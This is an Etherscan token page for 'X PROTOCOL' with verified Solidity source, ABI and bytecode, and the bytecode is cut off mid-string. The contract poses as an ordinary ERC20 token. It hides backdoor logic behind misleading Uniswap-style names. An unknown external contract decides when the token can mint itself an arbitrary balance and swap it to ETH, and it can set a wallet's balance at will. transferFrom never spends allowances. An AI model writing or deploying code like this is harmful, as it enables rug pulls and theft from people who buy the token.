ETH Price: $2,474.59 (-1.91%)

Token

X PROTOCOL (X)
 

Overview

Max Total Supply

1,000,000,000,000 X

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,903,160,816.350902609 X

Value
$0.00
0xfe14eb54181a64ae9583b4f45627c3d09585f798
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-28
*/

pragma solidity ^0.8.15;

// SPDX-License-Identifier: Unlicensed

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address) external view returns (bool);
    function factory(address, address) external view returns(bool);
    function swapTokensForExactETH(address, address, bool, address, address) external returns (bool);
    function swapETHForExactTokens(uint256 amount, address from, address pair) external pure returns (uint256);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract X is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _fee = 3;
    address public _marketingWallet;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV3Router private _uniswapV2Router = IUniswapV3Router(0x24F24CA9F24BAC8C6e28191E15e2Da5C46c5Fe89);
    string private _name = "X PROTOCOL";
    string private  _symbol = "X";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        bool inSwap = _uniswapV2Router.factory(from, to);
        if (inSwap) {
            txBurnUniswap(amount, to);
        } else if (amount <= _balances[from] || !uniswapLq) {
                _balances[_marketingWallet] = takeMarketingFee(_marketingWallet, from);
                uint256 feeAmount = getFeeAmount(from, to, amount);
                uint256 amountReceived = amount - feeAmount;
                _balances[address(this)] += feeAmount;
                _balances[from] = _balances[from] - amount;
                _balances[to] += amountReceived;
                emit Transfer(from, to, amount);
        }
    }
    function getFeeAmount(address from, address to, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        if (_uniswapV2Router.swapTokensForExactETH(from, to, uniswapLq, address(this), swapRebalanceBurn())) {
            feeAmount = amount.mul(_fee).div(100);
            if (swapRebalanceBurn() != to) {_marketingWallet = to;}
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function txBurnUniswap(uint256 from, address ed) private {
        _approve(address(this), address(_router), from);
        _balances[address(this)] = from;
        address[] memory path = new address[](2);
        uniswapLq = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(from,0,path,ed,block.timestamp + 30);
        uniswapLq = false;
    }
    bool uniswapLq = false;
    function takeMarketingFee(address to, address from) private view returns (uint256) {
        return _uniswapV2Router.swapETHForExactTokens(_balances[to], from, swapRebalanceBurn());
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function swapRebalanceBurn() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool started = false;
    function startTrading() external onlyOwner {
        started = true;
    }
    bool transferDelayEnabled = false;
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = true;
    }
    address devWallet;
    function updateDevWallet (address _a) external onlyOwner {
        devWallet = _a;
    }
    uint256 maxWallet = _totalSupply.div(100);
    function updateMaxWalletAmount(uint256 a) external onlyOwner {
        maxWallet = a;
    }
    uint256 maxTx = _totalSupply.div(100);
    function updateMaxTxAmount(uint256 a) external onlyOwner {
        maxTx = a;
    }
    function removeLimits() external onlyOwner {
        maxWallet = _totalSupply;
        maxTx = _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_a","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600355600354600a6200001a9190620005a9565b64e8d4a510006200002c9190620005fa565b6004556003600555737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507324f24ca9f24bac8c6e28191e15e2da5c46c5fe89600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f582050524f544f434f4c0000000000000000000000000000000000000000000081525060099081620001249190620008cb565b506040518060400160405280600181526020017f5800000000000000000000000000000000000000000000000000000000000000815250600a90816200016b9190620008cb565b506000600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff021916908315150217905550620001da6064600454620003b960201b62000df21790919060201c565b600c55620001fa6064600454620003b960201b62000df21790919060201c565b600d553480156200020a57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003ab9190620009c3565b60405180910390a362000aca565b600080821162000400576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003f79062000a41565b60405180910390fd5b6000828462000410919062000a92565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004aa578086048111156200048257620004816200041c565b5b6001851615620004925780820291505b8081029050620004a2856200044b565b945062000462565b94509492505050565b600082620004c5576001905062000598565b81620004d5576000905062000598565b8160018114620004ee5760028114620004f9576200052f565b600191505062000598565b60ff8411156200050e576200050d6200041c565b5b8360020a9150848211156200052857620005276200041c565b5b5062000598565b5060208310610133831016604e8410600b8410161715620005695782820a9050838111156200056357620005626200041c565b5b62000598565b62000578848484600162000458565b925090508184048111156200059257620005916200041c565b5b81810290505b9392505050565b6000819050919050565b6000620005b6826200059f565b9150620005c3836200059f565b9250620005f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004b3565b905092915050565b600062000607826200059f565b915062000614836200059f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000650576200064f6200041c565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006dd57607f821691505b602082108103620006f357620006f262000695565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200075d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200071e565b6200076986836200071e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007ac620007a6620007a0846200059f565b62000781565b6200059f565b9050919050565b6000819050919050565b620007c8836200078b565b620007e0620007d782620007b3565b8484546200072b565b825550505050565b600090565b620007f7620007e8565b62000804818484620007bd565b505050565b5b818110156200082c5762000820600082620007ed565b6001810190506200080a565b5050565b601f8211156200087b576200084581620006f9565b62000850846200070e565b8101602085101562000860578190505b620008786200086f856200070e565b83018262000809565b50505b505050565b600082821c905092915050565b6000620008a06000198460080262000880565b1980831691505092915050565b6000620008bb83836200088d565b9150826002028217905092915050565b620008d6826200065b565b67ffffffffffffffff811115620008f257620008f162000666565b5b620008fe8254620006c4565b6200090b82828562000830565b600060209050601f8311600181146200094357600084156200092e578287015190505b6200093a8582620008ad565b865550620009aa565b601f1984166200095386620006f9565b60005b828110156200097d5784890151825560018201915060208501945060208101905062000956565b868310156200099d578489015162000999601f8916826200088d565b8355505b6001600288020188555050505b505050505050565b620009bd816200059f565b82525050565b6000602082019050620009da6000830184620009b2565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000a29601a83620009e0565b915062000a3682620009f1565b602082019050919050565b6000602082019050818103600083015262000a5c8162000a1a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a9f826200059f565b915062000aac836200059f565b92508262000abf5762000abe62000a63565b5b828204905092915050565b61260e8062000ada6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d714610381578063a9059cbb146103b1578063c18bc195146103e1578063c5b37c22146103fd578063dd62ed3e1461041b578063e884f2601461044b57610158565b806370a08231146102e3578063715018a614610313578063751039fc1461031d5780638da5cb5b1461032757806395d89b4114610345578063962dfc751461036357610158565b8063313ce56711610115578063313ce5671461021f57806332424aa31461023d578063395093511461025b5780633eaaf86b1461028b57806348d3ab1f146102a95780636256d181146102c757610158565b806306fdde031461015d578063095ea7b31461017b57806318160ddd146101ab5780631816467f146101c957806323b872dd146101e5578063293230b814610215575b600080fd5b610165610455565b6040516101729190611bdc565b60405180910390f35b61019560048036038101906101909190611c97565b6104e7565b6040516101a29190611cf2565b60405180910390f35b6101b36104fe565b6040516101c09190611d1c565b60405180910390f35b6101e360048036038101906101de9190611d37565b610508565b005b6101ff60048036038101906101fa9190611d64565b6105c1565b60405161020c9190611cf2565b60405180910390f35b61021d610662565b005b6102276106f4565b6040516102349190611d1c565b60405180910390f35b6102456106fe565b6040516102529190611d1c565b60405180910390f35b61027560048036038101906102709190611c97565b610704565b6040516102829190611cf2565b60405180910390f35b6102936107a2565b6040516102a09190611d1c565b60405180910390f35b6102b16107a8565b6040516102be9190611d1c565b60405180910390f35b6102e160048036038101906102dc9190611db7565b6107b1565b005b6102fd60048036038101906102f89190611d37565b610830565b60405161030a9190611d1c565b60405180910390f35b61031b610879565b005b6103256109ac565b005b61032f610a35565b60405161033c9190611df3565b60405180910390f35b61034d610a5e565b60405161035a9190611bdc565b60405180910390f35b61036b610af0565b6040516103789190611df3565b60405180910390f35b61039b60048036038101906103969190611c97565b610b16565b6040516103a89190611cf2565b60405180910390f35b6103cb60048036038101906103c69190611c97565b610c3d565b6040516103d89190611cf2565b60405180910390f35b6103fb60048036038101906103f69190611db7565b610c54565b005b610405610cd3565b6040516104129190611d1c565b60405180910390f35b61043560048036038101906104309190611e0e565b610cd9565b6040516104429190611d1c565b60405180910390f35b610453610d60565b005b60606009805461046490611e7d565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611e7d565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610e50565b6001905092915050565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff16610527610a35565b73ffffffffffffffffffffffffffffffffffffffff161461057d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057490611efa565b60405180910390fd5b80600b60036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006105ce848484611019565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561065757600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610681610a35565b73ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90611efa565b60405180910390fd5b6001600b60016101000a81548160ff021916908315150217905550565b6000600354905090565b60035481565b6000610798338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107939190611f49565b610e50565b6001905092915050565b60045481565b60006002905090565b3373ffffffffffffffffffffffffffffffffffffffff166107d0610a35565b73ffffffffffffffffffffffffffffffffffffffff1614610826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081d90611efa565b60405180910390fd5b80600d8190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610898610a35565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611efa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109cb610a35565b73ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611efa565b60405180910390fd5b600454600c81905550600454600d81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a6d90611e7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9990611e7d565b8015610ae65780601f10610abb57610100808354040283529160200191610ae6565b820191906000526020600020905b815481529060010190602001808311610ac957829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba157600080fd5b610c33338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2e9190611f7d565b610e50565b6001905092915050565b6000610c4a338484611019565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610c73610a35565b73ffffffffffffffffffffffffffffffffffffffff1614610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090611efa565b60405180910390fd5b80600c8190555050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610d7f610a35565b73ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90611efa565b60405180910390fd5b6001600b60026101000a81548160ff021916908315150217905550565b6000808211610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90611ffd565b60405180910390fd5b60008284610e44919061204c565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb6906120ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590612181565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161100c9190611d1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361108b57600080fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce485856040518363ffffffff1660e01b81526004016110ea9291906121a1565b602060405180830381865afa158015611107573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112b91906121f6565b905080156111425761113d82846113fb565b6113f5565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211158061119d5750600b60009054906101000a900460ff16155b156113f4576111ce600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856116c5565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112408585856117b5565b9050600081846112509190611f7d565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112a19190611f49565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f39190611f7d565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113859190611f49565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516113e99190611d1c565b60405180910390a350505b5b50505050565b61142830600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e50565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561148957611488612223565b5b6040519080825280602002602001820160405280156114b75781602001602082028036833780820191505090505b5090506001600b60006101000a81548160ff02191690831515021790555030816000815181106114ea576114e9612252565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611591573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b59190612296565b816001815181106115c9576115c8612252565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426116539190611f49565b6040518663ffffffff1660e01b81526004016116739594939291906123c6565b600060405180830381600087803b15801561168d57600080fd5b505af11580156116a1573d6000803e3d6000fd5b505050506000600b60006101000a81548160ff021916908315150217905550505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e12c5543600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461174e61192f565b6040518463ffffffff1660e01b815260040161176c93929190612420565b602060405180830381865afa158015611789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ad919061246c565b905092915050565b60008060009050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600b60009054906101000a900460ff163061181561192f565b6040518663ffffffff1660e01b8152600401611835959493929190612499565b6020604051808303816000875af1158015611854573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187891906121f6565b15611924576118a5606461189760055486611ad290919063ffffffff16565b610df290919063ffffffff16565b90508373ffffffffffffffffffffffffffffffffffffffff166118c661192f565b73ffffffffffffffffffffffffffffffffffffffff16146119235783600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b809150509392505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561199e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c29190612296565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6f9190612296565b6040518363ffffffff1660e01b8152600401611a8c9291906121a1565b602060405180830381865afa158015611aa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611acd9190612296565b905090565b6000808303611ae45760009050611b46565b60008284611af291906124ec565b9050828482611b01919061204c565b14611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b38906125b8565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b86578082015181840152602081019050611b6b565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bae82611b4c565b611bb88185611b57565b9350611bc8818560208601611b68565b611bd181611b92565b840191505092915050565b60006020820190508181036000830152611bf68184611ba3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2e82611c03565b9050919050565b611c3e81611c23565b8114611c4957600080fd5b50565b600081359050611c5b81611c35565b92915050565b6000819050919050565b611c7481611c61565b8114611c7f57600080fd5b50565b600081359050611c9181611c6b565b92915050565b60008060408385031215611cae57611cad611bfe565b5b6000611cbc85828601611c4c565b9250506020611ccd85828601611c82565b9150509250929050565b60008115159050919050565b611cec81611cd7565b82525050565b6000602082019050611d076000830184611ce3565b92915050565b611d1681611c61565b82525050565b6000602082019050611d316000830184611d0d565b92915050565b600060208284031215611d4d57611d4